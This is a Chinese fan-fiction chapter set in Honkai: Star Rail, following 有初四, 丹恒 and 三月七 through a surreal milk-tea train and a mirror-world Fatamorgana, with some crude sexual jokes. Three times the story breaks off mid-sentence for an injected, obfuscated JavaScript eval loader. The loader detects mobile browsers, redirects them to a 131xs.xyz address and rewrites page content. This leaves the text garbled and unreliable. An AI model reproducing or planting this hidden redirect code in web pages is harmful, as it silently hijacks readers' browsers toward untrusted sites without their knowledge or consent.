“给我来一杯,香香甜甜,好喝到……[哔——]茶。” “好的您这边稍等,这是作为您购买奶茶的赠品饼干,已经为您一起装进袋子里了,请在卡片上签字,并在离开前大声读出卡片的赠语出来。” 有初四低头,看见了卡片上字,不可置信地抬头看着售票员,她脸上的微笑在有初四的眼里瞬间变得险恶起来。 与此同时。 “你要不要看看这写的什么。”三月七不可置信地说。 “什么叫‘丹恒和某位打铁男子进行□□交流,一夜七次,有初四在旁观一阵后忍不住加入了他们,三个人一起进行激烈的□□交流’啊?!”三月七觉得自己要是真的大声念出来,自己两位同伴的清白就真的保不住了。 售票员保持微笑,沉默地递给她点的“车票”。 三月七反应过来,忍不住捂脸。 小四,丹恒,我对不起你们! 不过既然车票已经到手了,还是先去找到他们再说吧。 接过入手有些冰凉的“车票”,刚走两步就被售票员的手拉住了胳膊,三月七回头一看,她整个人的大半个身体都探了出来,配合上脸上一直不变的笑容就格外渗人了。 “干,干什么啊。”三月七抖了一下,售票员小姐伸出另一只手示意她看右边,那里不知何时出现了一扇虚掩的门,缝隙里隐隐透出不妙的红光。“您的出口在那边。” 有些害怕的少女咽了下口水,嘴角扯出一抹僵硬的笑容,“我可以……拒绝吗?” _ “给我来一杯血腥美味好喝到彼岸葬送茶。”丹恒淡淡道,在那张卡片递过来时面不改色地签了字,然后大声朗读。 “娇妻开拓带球跑,霸道欢愉狠狠爱,他逃他追,他插翅难飞,一个琥珀纪过后,丰饶竟失去了腹中的孩子,究竟是神性的毁灭还是道德的沦丧?敬请收看大型纪录片,阿基维利的诱惑!” 到底是见过大风大浪的人,丹恒完全不觉得羞耻。 没有丝毫停留,拿起“车票”就登上了列车,并按照奶茶上的号码找到了座位,是车尾。 车厢里的景象诡异又格外熟悉,丹恒隐隐能看见一点星穹列车的影子,到处漂浮的镜子碎片不仅有被割伤的风险,还非常的遮挡视线,丹恒进来时还能看见其中一块锋利的镜片边缘上,残留着一道血迹。 列车开始启动了,丹恒看着周围客人手里已经被喝光的奶茶,在喝与不喝之间选择了第三种方式——倒掉。 奶绿色的液体倾泻出来,被人倒在了一颗植物的盆栽里,除了奶香还透出一股血腥味,还夹杂着浓重的铁锈味,光是闻着就知道这杯奶茶会对人的味蕾造成巨大的冲击。 被浇了奶茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513971|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的植物迅速枯萎,速度快到刚倒进去就已经死绝了。 但枯萎的植物随后诡异的扭动起来,叶片扭曲摆动,形成歪歪扭扭的三个字“检测中”。 此时列车广播突然响起,毫无感情的女性声音传遍了整个车厢。 “各位乘客请注意,各位乘客请注意,由于外来因素的介入,目的地已变更,如有必要请远离镜子,感谢配合。” 丹恒骤然回过神,捏了捏眉心,觉得思维诡异地开始混乱起来,列车还在平稳行驶,但不知何时,那些漂浮的镜片已经渐渐朝他靠近,几乎要将他整个人围起来。 他一巴掌拍上自己的脸,物理清醒了一点,再看过去发现周围的镜子里映出的都是自己不同的部位,头,左手,躯干,右手,腿,和现在的完全不同…… 镜子里的他,是另一种样子,他最为熟悉的真实。 “镜子有问题!”丹恒迅速站起身,用击云打破了列车窗的玻璃,巨大的空气涌入,把丹恒吹得一瞬间窒息,随后双手攀上边框,整个人用力把自己给丢出去。 窗外是无尽的深渊。 在身体腾空后丹恒放开手,在任由自己落下之后,他看见了车厢内一闪而过的人影,黑发蓝眼的青年坐在位置上,正一脸茫然地望着前方。 “初四?!” 丹恒瞪大了眼睛,伸出手试图重新攀上列车,可距离早就不够了,他目眦欲裂,从嘴里发出的呐喊中似乎有一声龙吟。 “快跑!!” 【滴——】 “已抵达目的地,祝各位乘客旅途愉快。” “嘭——!” 彩色的烟花在列车上炸开,爆炸产生的气流将丹恒推得更远了,热浪将皮肤灼得滚烫。 被爆炸吞噬的列车成了无数的碎片,在空中和他一起坠落。 End。 …… …… …… “这当然是假的,重要的剧情怎么能死主角呢?” 【叮铃——】 “故事嘛,当然有曲折才有意思啊。” _ 有初四是红着脸走出售票处的,不愿再回想刚刚自己到底都说了些什么。 虽然记忆那片马赛克里自己貌似有着丰富的理论知识,但是这么直白的,在那么多人的见证下,还是大声把那种话给说出来,一种难以言喻的羞耻感快要充满他的脑子了。 奶茶的杯子上贴有座位编码,有初四刚进车厢就被到处漂浮着的镜片给震了一下,这个场景实在太过像镜兵把他抓去的地方,再联想到后面遭遇的敲击,有初四的脑袋又开始幻痛了。 他不由地后退了一步,却被进入车厢的客人挤了一下,侧脸碰到了镜片锋利的边缘,立刻渗出了血液。 “嘶——” 有初四闭着一只眼捂住了侧脸,眼里又有泪花开始打转。 受伤了但口子也不大,有初四没打算理,在被进来的客人接连撞了几次差点又碰到镜片后,他不得不随着人流往车头走去,恰好找到了自己的座位。 列车开始行驶了。 有初四双手握着奶茶,抬头就看见了对面坐着的职业装小姐,恰好就是被他插队的那位。 npc小姐正一脸沮丧地拿着自己已经喝了一半的车票,微低着头眼眶红红的,像是刚哭过,有初四有些愧疚,可能对他和幕后之人来说,她只是一串冷冰冰的数据,但为了一门语言付出了大量的时间和精力,这些对她来说都是真实存在的。 自己也只是靠着联觉信标才赢的…… 低着头的npc小姐吸了吸鼻子,还没从在自己的专业领域被一个突然冒出来的陌生人给打败了的悲伤里走出来,眼前突然出现了一只带着手套的手,纤细修长,还握着一张“车票”。 她抬起头,看见了一脸心虚的有初四,前不久刚发起挑战并狠狠地打败了她,并让她现在这么狼狈的罪魁祸首。 青年却没有这个自觉,只是把属于自己的车票放在了这位女士的座位边上,并问:“要喝吗?” 喝!为什么不喝! npc愤愤地拿过了车票,一口气吸了三分之一,“唔?”然后一脸扭曲地停下了动作,怪异地看着手里的车票——为什么这味道这么恶心? 这是她第一次喝别人的车票,所以也不知道这股味道是不是正常的,但车票的味道因人而异,说不定眼前的人真的是…… “我说。”npc问他,“你该不会是什么性.瘾患者吧?” 有初四:“???” 一瞬间,他的表情就像被颜料板按在了脸上似的五彩斑斓,透着一股被冤枉造谣的不可置信。 5. 出门在外靠自己 “算了,这也不关我的事。”npc小姐把属于有初四的车票剩下的全倒进了旁边的盆栽,任由植物扭曲摆动,然后把车票放到了座位上。 她抬头对着什么都不知道所以能一脸平静的有初四说道,“你知道你的车票给了我,如果我没帮你投进去,你就没办法找到目的地了吗?” 其实这个并不是很重要,我更想知道你刚刚问的问题是什么意思,有初四很想这么说,可完全没有能插上话的余地。 npc双手托着下巴双眼无神:“虽然我是输给你了,但还不至于做这么没品的事情,不过今天的列车有点奇怪,好像进了点脏东西。” 有初四一脸迷茫地看着她,比起在和他说话,npc更像是在自言自语。 “冰冷又容纳了太多的肮脏,镜子?之前不都是负责把人送进来好踢人走吗,哦,估计是冲着你来的。” 手指轻轻一推,有初四的那杯车票从座位上落下,零星的液体四溅,奶香里夹杂着石楠花的味道飘散在空气里。 味道确实难以言喻,有初四捂住了口鼻暗道。 “离远点。”npc淡淡道,还是那副半死不活被打击到的样子,然后她掏出了一个盒状的物体:“我要开始警告了。” 有种耳朵要遭殃的预感,有初四立刻站起来往后挪了好几步。 “咳咳,各位乘客请注意,各位乘客请注意,由于外来因素的介入,目的地已变更,如有必要请远离镜子,感谢配合。” 什么,你居然就是列车长吗?谁家列车长也要自己排队买车票啊! “嘛生活所迫,npc不够了去凑个数。” 有什么靠近了…… 有初四骤然惊醒,他这才发现不知不觉中,许多漂浮的镜子碎片已经快将他包围。 他望向了唯一的突破口,列车的车窗,在准备行动的时候余光看见了一面对着车窗外的镜子,丹恒的身影就在其中! “丹恒!”有初四不再犹豫,拿出签几下砸开了玻璃,伸手攀了上去,手掌因为破坏面积不大被割得鲜血淋漓,眼泪一下子就流了下来。 “这次下车的方式挺粗暴的,可能有点痛,你忍一下。” 在放开双手的时刻,有初四看见了npc露出了自他们相遇以来的第一个笑容,和坠落之中的人错开了视线,看向了列车的前方,重新举起了手里的方形盒子。 为什么只有他要投车票,为什么其他乘客都选择喝完了? “已抵达目的地,祝各位乘客旅途愉快。” 因为他们从始至终都没打算下车。 【滴——】 “嘭——!!” 绚烂的烟花在眼前炸开,因为靠的太近立刻就被波及到的有初四眼前一黑,失去了意识。 _ “这是?”三月七打量着这间房子,摆设,盆栽和书架,最右边还放着一套桌椅,桌子上的书翻开一半,是空白的。 三月七小心翼翼地走到桌子前,空中传来了一道声音,年轻的女声带着些许雀跃:“你来了,我等你很久啦!” “你是谁?”这个声音很陌生,三月七确信自己没听过。 “通关规则是,把桌上的书本里,空白的配角视角填补好,并完成相应的要求。” 三月七叉腰吐槽:“现在倒是光明正大地表明是在闯关了?”然而房间在她话音落下后又陷入了寂静,那道声音没再出现了。 “真是的,现在这种氛围,怎么可能静下心来写小说嘛。”而且她只写过日记,完全没写小说,倒是看了不少,或许可以学着看过的小说试试? 三月七摩拳擦掌,兴冲冲地拿起了笔:“本姑娘写给你看!” 前情提要是,一个国家里的掌权者“教主”暴虐贪财,每个月都要求居民缴纳高额的费用,交不上来就命令士兵直接杀了,因此国内怨声载道。 而这时,又有权力斗争和外敌来犯同时出现,镜兵统领埃洛克拿上了武器迎战,来的恰好是他的宿敌,涅因,身为一国之君,在战场上的武力也丝毫不逊色。 两人交手数招,却也拿彼此没有任何办法,就在武器互相抵住时,涅因凑到了埃洛克耳边说道:“我这次不是故意来找茬的。” “你也看到了,再这样下去这个国家就要完蛋了。”涅因看着埃洛克,“你也真能忍住不干掉他,不要告诉我你不知道他干的那些好事。” “别废话!”埃洛克挑开了涅因的武器,枪尖指着他的眉心,“我当然知道,你以为我不想吗?我每时每刻都想!” “但是局面太过混乱,居民们又刚交了这个月的钱币,现在行动只会雪上加霜!” “优柔寡断!”涅因冷哼一声,士兵们发起冲锋的声音和吼叫过于大声,他们现在也不用担心自己所说的话会被其他人听见,知道自家统领在宿敌面前有爱说垃圾话的毛病,所有人都默契地远离了那块地方各干各的。 因为双方都没有伤人的意图,所以可以在这场战斗中看到各种划水的士兵,包括但不限于找个角落躺在地上装死然后聊天。 “你说咱将军这次要吵多久?” “我赌三个系统时。” “啧啧啧一看就知道你昨天没来了,上次他俩吵了整整五个系统时。” “真的假的?他们该不会是什么闹别扭的小情侣吧。” “嘘别乱说!这种事情咱私底下过过瘾就得了。” “什么什么?让我也听听!”趁乱又滚过来一个人躺下,面罩下的眼睛散发出好奇的光芒。 “就是他们国王和咱将军那档子事呗。”士兵不知道从哪摸出了一把瓜子,边磕边说。 “两军人谁都知道,但凡是他俩碰上,最好的办法就是装死浑水摸鱼,让他们两个宿敌好好吵架。”动手看似往死里打,但实际上连根毛都没伤到。 “话说。”涅因的士兵突然看向半路加入的人,“我之前好像没见过你,而且你离那么远干什么?” 你隔着面罩也能看见我的脸吗?那人腹诽,伸手直接了当地把遮住脸的头盔盖往下掀了一点,露出一双蓝色的眼睛。 “我是新来的嘛,而且因为是走后门,所以不敢和你们多接触,怕被打。”他自然地回道。 “……我还是头一回看见把走后门说的那么光明正大的,现在你又主动凑过来干什么,仗着我们装死不敢有大动作吗?” 要不然呢,有初四腹诽,表面上还是不动声色地说:“这不实在好奇咱将军的事情嘛。” 八卦是人类的天性,士兵表示能理解,这在军中本来也不是什么秘密,说说也没事,“你叫什么名字?” “我叫厉飞雨。” …… 后面就是一大段空白了,三月七摸摸下巴:“蓝眼睛,怎么感觉这颜色很像小四啊?” 此时书本上快速出现一行字,随后又消失不见。 “要求,填补厉飞雨的背景故事,两千字以上……”三月七皱眉思索,顺手把“车票”放在桌边。 “两千字的背景故事啊……”到底要怎么编呢? …… “厉飞雨?哦哦哦我想起来了,你就是那个被塞进来的关系户吧?” 啊? 刚醒没多久,为了打探消息偷偷顶替了一个士兵顺带编了个名字的有初四,缓缓打出一个问号。 虽然不是很清楚情况,但点头总没错,于是接下来有初四就被迫听了“前辈”长达两个系统时的经验,还没有要停下来的意思,而埃洛克和涅因还在争执,也完全没有要停下来的意思。 有初四:你们差不多得了。 幸运的是,突然传来消息说王都出事了,要求埃洛克立刻回去。 还在和宿敌纠缠的大统领立刻转头,毫不留恋地走了,只留下涅因一个人默默站在原地,看着他的背影久久没有离去。 有初四忍住抬头去看的动作,努力让自己融入一堆躺尸的人中,他一开始只远远地看了埃洛克一眼,只觉得眼熟,还没仔细看就被迫躲起来了。 “说实话我觉得我们统领这样有点渣。”还在躺尸的士兵侧头说道。 “你们统领走了诶,不用跟上去吗?”有初四已经重新把露出眼睛的部分给遮住了,但那种清澈的蓝色令人印象深刻,镜兵已经能想象出那双头盔下的眼睛是如何散发出好奇的光芒,令人无法拒绝。 “不用,要是我们现在突然诈尸了岂不是就被发现了在一直划水?”他甚至伸了个懒腰,“没过多久就会有捡尸人过来,他们多半会在附近无人的时候才出现,所以可以放心诈尸了,捡尸人一开始还会被吓到,但后来就习惯了。” 听起来是老惯犯了,捡尸人,你们辛苦了。 “那诈尸就不会被发现吗?” “发什么现,衣服都是一样的,只要你不掀开面罩对着别人大喊‘我已经死了!你们记住我的脸!’谁会知道你装死并且诈尸了?也没有人手贱到摘尸体的头盔去看他们的脸,就算有人这么做直接诈尸就行了,撒腿就跑我就不信你个当兵的还甩不掉他。” “受教了。”你看起来很熟练,一定做过不少次吧? “受教了!”旁边突然冒出一个人,把有初四吓了一跳差点没条件反射拔出签,只见那人语气激动,像是个新手请教老前辈一样对着士兵问道:“那接下来呢?” 又一个新兵啊…… 士兵感叹这年头的新人真多,幸好跟的是他们这队没什么危险,不然……但也就代表了他们的技术能被传承吧? 他决定将自己的毕生所学传授给这两个新兵! “接下来就没你们什么事了,等着捡尸人把你们拉回城里丢进焚尸炉边上,然后趁着他们去准备开火的时候趁机溜走就行了,不过要注意一点。”士兵的表情变得非常严肃,“走的时候必须要训练有素不能推搡不能着急,否则就会乱成一团,小心最后被发现,然后全部被处死。” 两个“新兵”被他的话吓的一愣一愣地,士兵突然笑了:“不过别担心,咱都是有经验的老兵了,你们只需要保持冷静跟着我们走出去就行了。 为什么要把这件事说的这么自豪啊,他甚至用了“老兵”这个词,给新兵教点好的吧,他来这里可不是为了学怎么装死和怎么爬出焚化炉的啊! 名叫静紫的新兵心里是这么想的,脸上却一派崇拜“哇哦那你们好厉害诶!” 有初四:“……”这家伙的演技不太好,语气里的嘲讽他都能听出来。 “哼,那是!我可是前辈啊!”虽然躺着不能有什么动作,但是能从其骄傲的语气就能想到他此时的表情了。 有初四:“……”你还真信了啊,这就是法塔莫日甘的士兵吗? 捡尸人的工作时间到了,他们行走在战场上,将地上的“尸体”一一捡起,并带去了焚化炉,有一个捡尸人姗姗来迟,在同伴的漠视下行走在尸体之间,看到相似的身形就迅速挑开面罩,根本不给装死的人遮掩的机会,在看见那张惊恐里夹杂着“完了我估计要成为第一个装死被发现的士兵了”的神情后,无视了他并寻找下一个目标。 然而翻了大半个战场都没发现想找的人,捡尸人直起身体沉思。 怎么没有?按照坠落的方向来看,应该是落到这附近的…… 醒的比有初四要早,但是四处寻找不到他人的丹恒皱眉,想起列车中一闪而过的身影,当时关心则乱没发现那只是镜中的影子。 坐标和通讯在这里已经完全失效,同伴失散,这下麻烦了。 …… 三月七觉得自己快死了。 这真是至今为止面临的最大挑战,也是无数作者的噩梦之一——卡文。 “区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513972|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区背景故事。”手里的笔艰难写下几个字。 “区区背景故事……”不握笔的手抓上了头发。 “区区,背景故事!” 经过一番挣扎,三月七瘫倒在椅子上,双眼无神地挨着椅背看着天花板。 要编一个角色的人生故事还得合理化,是真的很难啊。 “我尽力了……” 从这一刻起,她将向所有作者表示敬意。 想起了或许还在哪里受苦挣扎的有初四和丹恒,三月七又立刻爬起来,她撸起袖子以表决心。 “咱还就不信了!” …… 丹恒发现自己可能发现了什么不对,在至今为止的画面中,法塔莫日甘和不明车站包括列车,都有很多镜子的元素,但这里…… 看着崇墉百雉的城墙,和城内及其熟悉的街道结构,丹恒想,这也许就是法塔莫日甘,或者说,是还未爆发病症的法塔莫日甘。 通过和捡尸人的交谈也验证了他的想法。 “你在说什么啊,捡尸捡傻了?现在的教主当然是那位啊。” 那位,就和巫师界中的you know who一样,是不可以提起名字的一种叫法,那现在还是那位暴君的执政时期。 和他们一开始踏足的法塔莫日甘不同,这里的镜子元素非常的少,他也曾悄悄潜入过一个房屋内,更是一张镜子都没有看见。 这时,镜子还未成为这里最喜爱的东西。 回到焚化所,得知了正要丢进焚尸炉的尸体全都不翼而飞后,丹恒并不惊讶,因为掀头盔的时候他就发现了那些所谓的尸体全都在装死。 其他捡尸人也毫不意外,毕竟这种事情已经是心照不宣的了,士兵装死他们装瞎,“尸体”自己走了还能省了他们的工作量。 见丹恒回来还招呼他去吃饭,丹恒拒绝了,并再次走在了法塔莫日甘的街道上。 他似乎忽略了一个问题,在打听到的情报中,法塔莫日甘有一个一直试图攻下他们的敌人,那位大统领埃洛克的宿敌,涅因的国家。 智库中所记载的以法塔莫日甘为名的星球上,至始至终就只有法塔莫日甘一个国家,这个突然冒出来的敌国到底是什么? …… “宿敌国家?” “对啊,因为是大统领宿敌的国家所以直接叫宿敌国家,有什么问题吗?” 问题大了去了!起名能不能走点心啊,就跟那位npc女士一样明显是偷懒取出来的名字啊! 说到npc女士,有初四还是会想起在爆炸前她露出的释怀的笑,是因为发现了自己的设定最终都会到达死亡,还是因为经历过太多次,所以记住了? “喂新兵,你去哪呢?”一声呼喊将有初四飞到天边的思绪拉了回来,他回头一看,战场上恰好和他凑在一起的那位新兵正偷偷摸摸地往外走。 “啊,啊哈哈,我去解个手。”静紫回头,头盔下意外稚嫩的脸上已经挂了点冷汗。 有初四知道他想干什么,趁还没有和大部队汇合的时候偷偷溜走,避免被认出是混进来的。 他为什么知道?因为静紫偷溜的方向就是他刚设想过的,加上一路上他鬼鬼祟祟试图和他打探些什么的样子,有初四就算再笨也该明白这人也是假扮的了。 静紫要是找和他分享的那位老兵或许还能收获些什么,可能是看他是新兵,抱着应该经验不足是个好骗的,所以就找上了他,偏偏就找上了他,有初四也就只能问就是新来的不知道。 几次后静紫也就放弃了转战其他人,但不愧是老兵,就算是喜欢装死摆烂也是个经验丰富的老狐狸,静紫非但没问出来什么反而招了怀疑,只能想着先跑了再说,可是没走几步就被人叫住了。 见大部分人都往这边看,静紫已经开始汗流浃背了,正当他想要不要直接跑和他们拼速度的时候,那个被他套话却一问三不知的真新兵站了起来。 “你要去吗?我正好也要去,一起吧。” 老兵皱眉,正想拦住他,有初四低下头小声说了一句“我来对付他,正好立个功。” 毛都没长齐的小屁孩脑子里就净想着立功!老兵想骂人,可有初四已经跟着静紫出去了,就站起来对着观望的士兵们做了个手势,拿出了武器一起悄声往外走。 可出了门,两个人已经不见踪影了。 “*法塔粗口*,被骗了!” 如何摆脱一队加上了愤怒buff的追兵?有初四表示这个我熟,而且比当众被抓简单多了,只需要换身行头就行。 这时候能掩盖脸的头盔就显得格外重要了,不仅是士兵们的摸鱼利器,还成为了他们能逃脱的主要因素,头盔一摘衣服一换,谁还能知道他们就是那两个骗人的新兵?虽然有初四露过眼睛,但也就一下,当时的光线还特别亮,估计在别人眼中呈现出来的颜色不是特别清晰,蓝眼睛?到处都是! 果然,士兵们已经经过他们好几次了,完全没发现,两人溜进一个小巷子里,对视后静紫主动开口:“你也是被派来卧底的吗?” 有初四眨眼,面不改色:“是的,我真名叫韩立。” …… “所以到底为什么会突然冒出来一个国家啊?!”三月七抓着笔狠狠地对空气指指点点,“我可是听丹恒说过的,这颗星球上从来就没发生过什么战争!” 似乎有什么东西波动了一下,书本上凭空出现了一行字。 “本故事根据真实事件改编。” 改编不是魔改啊,宿敌是什么流行单品吗?随随便便塞进去是会被喷的! 书本上浮现的字消失了,自动翻页又浮现出一行字。 要求:开篇过渡,随后以“厉飞雨”的视角从法塔莫日甘补充剧情。 这转移注意力的手段也太拙劣了,连三月七都不会上当! 6. 脖子一凉 三月七正要开始写,却发现写上去的文字很快消失,她愣了一下,回想起刚才的要求是要开篇过渡。 可是写不了字该怎么过渡啊…… 她双手撑着下巴在房间里乱看,突然瞄到了自己放在一边的奶茶车票。 说起来这个东西从拿到手的那一刻就觉得有股凉意,但是一直没来得及查看。 伸手拿起来的时候,不知道为什么突然手滑了一下,杯子从手中摔落,大片带着冰冷寒气的透明液体倾泻而出,撒到了空白的书页上。 “呀!”三月七立刻站起来,手忙脚乱地开始补救,但书页被浸透后竟开始吸收液体,渐渐变干。 此时,书页上出现了一行字。 “寒冷的空气,宣告着冬天的到来,屋檐上落了雪,法塔莫日甘的第六个闪烁历即将结束,而新的战争,即将拉开序幕。” 三月七看愣了,迟疑地重新坐下,“这,这样子过渡?” …… 有初四突然发现自己不能控制身体了,他看着自己满大街乱窜,甚至差点惊动巡逻的士兵——士兵的能力可真不怎么样,一堆人没能抓住他们两个人不说,这么大动静就跟聋了一样没听见。 想想跟着埃洛克的士兵光顾着摸鱼划水了,老兵也教些不正经的,就这还是最厉害的一批…… 有初四叹了一口气,觉得法塔莫日甘的未来令人堪忧。 说实话身体自己行动是一种很新奇的体验,你能清晰地知道这是自己的身体,却无法控制,就像有一只看不见的手在操纵一个提线木偶,而这只提线木偶就是你自己。 居民们都很警惕,不肯透露出一点消息,有的更是在看见他后直接关上了门,有初四看着自己受挫,紧接着又开始四处乱窜。 说起来,为什么突然下雪了? 明明昨天还天气炎热到和静紫一起蹲在路边啃冰棍,今天就突然变冬天了,街上的人几乎瞬间不见了踪影……虽然平时人也就两三个,更多的人因为高额的费用被迫去偷骗抢,所以几乎没人出门——除了人傻钱多的傻白甜,有初四还恰好碰到了。 傻白甜并不是傻白甜,他也知道在这种时候不适合出门,之所以在街上溜达就是为了一件事,送钱。 有初四很佩服他,冒着被那位教主注意到的风险选择了接济居民,伪装成不谙世事的公子哥跑出来故意让人抢也不失为一种掩盖的方法,可人在饿狠的时候是不知轻重的,特别是这位叫古呐斯的公子哥一身金银,让那些本就怨恨上面的人更加的下狠手,他都能看见古呐斯身上青紫的伤口了。 ……嗯? 这张脸,怎么有点眼熟? 他感觉自己的嘴张了张,问出了古呐斯要做这件事情的原因。 古呐斯垂眸,回想起骨瘦如柴的人们和饿到奄奄一息待在父母怀里的孩子,和面目狰狞扑上来朝他怒吼的人,只是笑了一下:“想做就做了,哪有那么多原因?”说完就朝他示意,擦肩而过走了。 有初四回头去看他的背影,看见古呐斯紧握的手,和指甲深深陷入掌心流出的血色。 那道背影之后,是一张因愤怒而扭曲狰狞的脸。 背后的操纵者和有初四都没有发现,在回头之后只是犹豫了一下,还是没有停留,看了看远处格外高的建筑,抬脚就往那边走。 在一片冰天雪地中,他一个人走着,静静地待在身体里看四处的偶尔会有警惕的眼神从房屋的缝隙中冒出来,窗沿,门缝,他只是静静地看着,无所谓自己的身体会不会遭受伤害,就像一个过客,安静地看着这一切。 有初四突然回想起了昨天静紫和他说过的话。 “话说我怎么没见过你?”静紫一边咬着散发凉气的冰糕一边问。 有初四:“……往一个地方放两个卧底,当然要没见过才能更稳妥不容易露馅啊。”这个问题似曾相识。 “这样啊……”静紫突然停下来,转头盯着一脸迷茫舔着冰棍的有初四,“可按理说为了不误伤自己人,都会有所透露的,你的存在我可是一点都不知情啊。” 就像这次,他居然选了一个卧底套话,怪不得一问三不知呢,简直就是大失败! “……”有初四看似淡定,实则已经开始汗流浃背了,“大概是因为——” “因为什么?你怎么留这么多汗啊。” “天气这么热流汗不是很正常,前几天还一直穿着裹得严严实实的士兵服,我感觉都要热晕过去了。” “我也是啊——所以为什么啊?” 转移话题失败……有初四不得不生硬地笑了几声,然后随口胡诌:“大概是,上面这么做,一定有他们的用意吧。” 静紫听后沉默片刻,“也对哦。”然后狠狠咬了一口冰糕,被冰得龇牙咧嘴的,含糊不清说道:“毕竟我一直都好奇那群人的脑子到底是怎么长的。” 他顿了一下,又低头轻声自言自语,“或许根本就没有脑子?” 有初四:“……可能吧,谁知道呢。”甩出万能公式后他彻底沉默了,静紫居然真的信了,究竟是为人太单纯还是上面那群人真的有病?不管是心思单纯的人都能当卧底还是在这个国家有话语权的人脑子不正常,都是件令人震惊的事情。 再加上只顾着摸鱼的士兵和行事不够果决且部下摸鱼这么久都没发现的大统领,有初四越想越觉得,法塔莫日甘迟早要完。 …… “今天怎么样?有什么收获吗。” “没有。”埃洛克接过好友递过来的水润了润嗓子,捏着眉心,头疼的厉害,“教主还是那么变幻莫测。” 前一天心情好要放几个死刑犯出来,今天就下令颁布了一条法则:穷罪。 字面意义上的,穷就有罪,但凡有罪都得处死,要是真的这么干了,那法塔莫日甘百分之八十以上的人都得死。 “这实在太荒谬了!”埃洛克狠狠地锤了下桌子,“民众们穷不就是因为他吗?!收那么重的费用,一年里有多少会饿死的人?他收这些钱财不就是为了养那群废物!” “你是第一天知道他吗?他一直都很荒谬。”好友抬起头,被衣袖遮盖下的伤口还有些隐隐作痛,“所以,你还不打算行动吗?” 埃洛克愤然的神情一下子变得犹豫,手指蜷起指甲掐进掌心,“古呐斯,我们再等等,现在还不是时候,冬天到了,那些本就艰难的居民更是雪上加霜,要是在这种情况下挑起战争……再等等。” “等等等等等等,你就知道等!”刚从居民区回来的古呐斯忍不住怒吼出声,一把攥住埃洛克的衣领,“从上个闪烁历你就在说等,等来了更加重的收取费用,等到了监狱里的恶人被放出来作乱杀人,等到了穷罪,你这是要等到他把所有人都杀了才敢下定决心吗?!” 埃洛克睁大了双眼,久久没能回神。 好友看着他的反应表情渐渐冷下来,最后他叹了一口气,“你果然和北边那位君王说的一样,优柔寡断。” “你不能下定决心,那就我来,别拦着我。”他叹息道,转身离开了大统领的住处,只留下呆愣的埃洛克站在原地,身体脱力一般扶住桌子,内心深处开始不断挣扎。 埃洛克从小到大接受的教育就是由教主任意驱使,不得反抗不得有异心,相信教主会带领他们走向更加美好的未来。 可这一切都和说好的不一样……死亡率直线上升,无理且血腥的律法,到底哪里美好了? 埃洛克想起父母临终前的遗言,痛苦地捂住了自己的脑袋。 再等等,再等等,等到这个冬天过去了,让民众们少一份死亡的威胁…… 他想追出去拉住古呐斯,和他说自己其实已经安排好了,自己已经在转移民众们,这个冬天过去他一定会杀了教主,一定能让法塔莫日甘变回原来的样子。 可他做不到,眼前的景象开始扭曲,埃洛克挣扎地眨了眨眼睛,最后趴在桌子上,意识渐渐模糊。 古呐斯,不要做傻事…… 醒来后已经是第二天了,埃洛克捂着头爬了起来,刚走没几步就听见下属慌慌张张地跑了进来,带来了好友的死讯。 犹如一柄重锤狠狠地敲在了他的脑袋上,埃洛克整个人剧烈地晃了一下,伸手扶在了桌子上。 “……因意图谋反被当场格杀……尸体不完整……头颅被挂在大殿门口……”断断续续的话埃洛克已经听不清了,他有些难以呼吸地喘了几口气,脑袋就像是被无数的针扎进去又拔出来,提醒他这一切都是因为他,因为他的犹豫他的懦弱,好友不仅死了还死的相当不体面。 心里的火焰本就旺,好友的死更是在火上泼了一桶油,埃洛克双目赤红,几乎要立刻冲进大殿把教主抽筋扒皮。 可是,可是不能。 他跪在地上掩面痛哭,他知道现在最该做的事情是为自己的好友,和无辜惨死的民众们报仇,可是现在剩下的人已经承受不起战争的火焰了……借着大雪天很少人出门做掩盖,他已经把一部分的民众转移到了不会被波及的地方,为了减少伤亡他必须再等等,再等等…… 埃洛克已经快等不下去了。 …… 白色的雪在地面上铺了厚厚的一层,模样俊美的少年撑着下巴坐在椅子上,望着门口的方向。 [滴答——] 鲜红的血液滴在雪上,染红渗透,逐渐把这块地方变成了红色的。 [滴答——] “好无聊啊……”教主无力地叹了一口气,“还以为知道好朋友死了埃洛克大将军会立刻冲进来杀了我呢,结果还是没有啊。” 被砍断的头颅面容上还残留着生前因为一瞬间的疼痛而扭曲的神情,显得有些丑陋。 教主撇撇嘴:“嘴上说着要杀了我,结果就这点本事就敢冲上来,死的还这么难看,你说是吧,静紫?” 站在他身侧的静紫沉默不语。 教主从小到大听到的一直是怎么治理法塔莫日甘,要好好对待民众们,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513973|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 